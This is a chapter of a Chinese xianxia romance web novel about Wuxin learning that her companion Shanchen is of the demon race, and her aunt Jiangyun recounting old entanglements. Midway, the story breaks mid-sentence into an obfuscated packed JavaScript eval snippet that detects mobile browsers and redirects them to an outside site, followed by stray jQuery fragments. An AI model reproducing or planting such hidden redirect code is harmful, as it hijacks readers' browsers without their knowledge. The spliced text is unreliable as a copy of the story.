无心自小有些粗心,许多事情,许多感情,她都不是很在意。
修仙界纷纷扰扰,世人恶意铺天盖地,忽视了,反而是件好事。
至少无心自己是这么觉得的。
可,眼前的一幕,让无心忽然觉得,还是不能太过粗枝大叶。
她从未考虑过……
山尘为何没有灵根,却如修仙者一般反应迅速。
从未质疑过太岁的存在是否正确。
种种不合常理之事在脑中愈发清晰,让无心有些恍惚。
其实,魔族也没什么……
修仙者和魔族早已握手言和,魔修虽不是正途,但总不如混沌之魔那般人人喊打。
下意识地,无心找了很多理由为山尘开脱。
魔族稀少,或许只是怕遭人白眼,又或是担心自己不能接受他……
他们认识的时间毕竟不长,或许只是没找到合适的机会。
无心抬手想解释,但她嗓子好似突然被东西堵住了,半晌没能发出声音。
忽然,绛云神色一紧,急忙将无心拉到自己身后,飞剑向前,将无心牢牢护住。
“你是谁?”
众人随着绛云的目光看去,剑尖已抵在山尘脖颈处,再稍近寸许,便是死路。
“我探查不到你的灵力波动……”
无心猛地抬头,神情彻底由迷茫转化为了不可思议。
绛云姑姑是七重天巅峰,即使是八重天,也不会是完全探查不到灵力波动的情况。
无心回望山尘,那眼神中有震惊,更有一丝羞愧。
她,之前,口口声声,要做山尘的老大。
山尘也发现了无心的不寻常。
“在下先前……”
“告诉我,你是谁!”
“姑奶奶,我是他舅舅,他自然是姐姐的儿子……”
月渊几乎是哀求地说出这句话。
绛云恍惚片刻,收了佩剑。
“原来是魔尊大人,倒是我等有眼不识泰山了。”
语毕,四人均陷入诡异的沉默。
初次见面的误会,导致山尘再没机会说清。
但若二人私下找个机会,以无心的性格,定不会觉得有何不妥,只当自己捡了个大便宜。
但绛云来得太快,无心接受得太慢。
“那,那还是我赚了……吧。”
无心站在绛云身后,结结巴巴地想说话,被绛云一记眼神刀给摁了回去。
“是嘛,他们俩都不介意……”
“左右我这外甥修为高,结为道侣,对无心姑娘也是很极好的。”
剑气将月渊牢牢束缚在假山上,只留了一点喘气的空间。偏偏他也没太老实,伸长了脖子解释。
“闭嘴。”绛云直接从源头遏制,她转身问无心,“为何不提前告知我?”
无心决定实话实说:“姑姑,我,我也是刚知道……”
“但我与望公子相识时间不长,想来他还没找到合适的机会同我说。”
“毕竟魔族身份特殊……”
绛云沉默地摇头,打断了无心的思路。
“我不同意。”
“原因很多,我回头向你解释,但眼下不可以。”
绛云拉起无心,便想直接离开。
“姑姑,此事只是意外,我去升仙堂想解除,但需要一年的冷静期。”
绛云思索了下:“升仙堂有各大宗门的直接通道办事处,不用等,你不知道吗?魔族也有。”
无心委实不知,想来当日山尘的胸有成竹,是早已知晓此事。
无心望了山尘一眼,并不是责怪。
她眼中更多的,是迷茫。
大脑过载,有些处理不了眼前的信息。
“我……”
无心还想说点什么,但绛云丝毫不给她解释的时间,拉着她便想离开。
“今日之事,待我回去跟你解释,现在先离开此地。”
绛云对着那边的两人发出最后通牒:“我真的,不想再看到你们了……”
她好似泄了力,指尖紧捏眉心,不知想到了什么,长长地叹了口气。
“我先带她离开,契约走合欢宗处理。”
“待我打点好后,再来通知你们。”
绛云的眼神穿过时光,再次落到月渊身上:“这是师兄托付给我孩子,我不能让她重蹈覆辙,你,能理解吗?”
她好似在向众人解释,又好似在同月渊恳求。
真真假假,似梦一般,再也听不真切了。
无心站在飞舟朝下望去,晨起的雾气挡住的宅院,灰蒙蒙的,看不透脚下的风景。
可在雾气中,山尘天青色的瞳孔却格外清晰。
随着飞舟渐行渐远,无心忽然感到一阵无措。
好似多年前师父离开时,那种孤单的,失落的感觉。
无心不知那是什么。
直到姑姑将她带回客栈,她还有些恍惚。
“云梦距此地较远,先在此休整,过几日我带你回合欢宗。”
无心愣神片刻,急忙道:“不行姑姑,我在这里接了活。”
“不干了。”
“我已经收了定金……”
“退了……”
“不要。”
无心有些不乐意,低头撇嘴,算她无声地抗议。
绛云知晓今日自己莽撞,蹲下身,强迫无心与自己对视。
“你喜欢他?”
绛云盯着无心,似是要将她看穿。
无心脸颊腾地一下烧得滚烫,但她自己毫无察觉,只是莫名回忆起山尘的脸,不由得心跳加快。
“我……”
无心话还未说完,便被绛云打断了。
“情有可原。”
无心瞪着大眼,半天没想明白绛云这话从何而来。
只见她起身来到窗边,双手撑着下槛,弯腰低头沉思。
无心本以为,她会说出什么惊天地泣鬼神的话来。
半晌,绛云蹦出来一句:“确实好看……”
“啊?”
绛云似是没法子了,索性破罐子破摔,大咧咧地坐在无心身旁叹气。
“你说咱们师门是不是风水不好,或者被那群姓望的诅咒了?”
无心此刻属于浑然摸不着头脑的状态,她看着绛云,丝毫没理解她这句云里雾里的话。
“咱们?师门?”
绛云点点头,凑到无心耳边,一脸八卦道:“你知不知道,你师父的心魔。”
“什么?”
无心手中的茶杯差点掉落,她音调陡然拔高,不可置信地望着绛云。
“师父他是九洲最好的无情剑修,怎么可能?”
“姑姑你……”
绛云似乎对她这反应习以为常,象征性地在她肩膀上拍了两下。
“嘁,所以我不信任你们这帮无情道。”
“有啊,怎么可能没有,心魔大了去了。”
说着,绛云捻起果盘的瓜子,一边剥壳一边回忆:“当年修仙界都传我不检点,勾搭师兄,同他的风言风语传得厉害。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955104|191486||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“知道为什么,他当时想出来解释的时候,被我制止了吗?”
“一是因为别人的嘴,你想管也管不住。二是,我知道他心里有别人,正好把我推出去,当个挡箭牌,保全他仙君的名声。”
早年仙魔两家还未结成同盟时,关系并不如表面那般祥和。
世人偏见,总是诸多隔阂。
无心看着绛云,不知为何,有些悲伤。
绛云周身的刺,仿佛浓雾般,使她看不清,道不明。
“你师父修为迟迟卡在九重天,不能飞升,很大原因便是这个。”
无心印象中的师父,向来是风光霁月,好似藏书阁的古籍,安静而温柔。
他温暖了无心的整个童年时光,朝夕相伴,可无心竟从未发现。
即使她现在将过往的回忆全部翻阅,也不能找到一个,哪怕一丝,崩裂的瞬间。
“哎哟,别想了,你师父最能忍了。”
“哈哈哈……”
“要不你猜猜,他心心念念的,是谁?”
无心试探性地开口:“难道,姓望?”
“对嘞!”
绛云激动地发声。
但随即忽然悲伤道:“对呀,姓望。”
“这群姓望的像鬼一样……”
“就你那个道侣,就现在的魔尊,他的母亲,曾经的魔尊大人。”
“当年你师父几乎是一见钟情。”
无心想起来了,月缨,望月缨,对,是叫这个名字。
无心还记得,她短发被风吹起的模样,让人想起,初雪时落在眼中的第一片冰花。
待她靠近,侧边长长的小辫便会垂下来,虽只有一缕,但配着她恣意的神情摇曳,不由让人荡漾。
“我,我记得她,很……”
“很漂亮是吧!”绛云咂嘴,“而且功力深厚,完美的如仙人。”
“人之常情,我当时我也想追来着,嘿嘿。”
“但她不喜欢女的。”
说着,绛云颇为可惜地摇了摇头:“好可惜。”
“所以,你就……搞了人家弟弟?”
无心伸长脖子,贱兮兮地问道。
提到月渊,绛云直接弹射爆炸,气势汹汹道:“老娘没这意思。”
绛云与月渊,那便要扯到另一件事情了。
绛云是在合欢宗站稳脚跟后,才遇到月渊的。
准确来说,是月渊这小子故意的。
合欢宗有一丹药,名为潮生散。
其丹方视为宗内不传之秘。
偏偏当年月渊心高气傲,和人打赌,说自己一定能搞来。
他生得好看,恰好绛云早些年没什么情感经历,更是被色字蒙了心。
稀里糊涂交代了个干净。
待她发现之时,月渊还在与同族沾沾自喜。
最后迎接他的便是一顿暴打。
绛云从未回头,也不想听月渊解释。
她不是放不下的人,因为放不下的,另有其人……
据说月渊在宗门外跪了数月,绛云闭关修炼,看都没看一眼。
直到后面她放出狠话,再见到他,便取他狗命,昏迷的月渊才被魔族接了回去。
可神奇的是,潮生散的丹方始终未曾泄露。
这么多年也无人知晓他们二人因何分开。
前尘种种,绛云都不在意了。
她眸光微动,似是在回忆:“有一说一,这么多年过去,再看他,也还是觉得好看。”
无心:“……”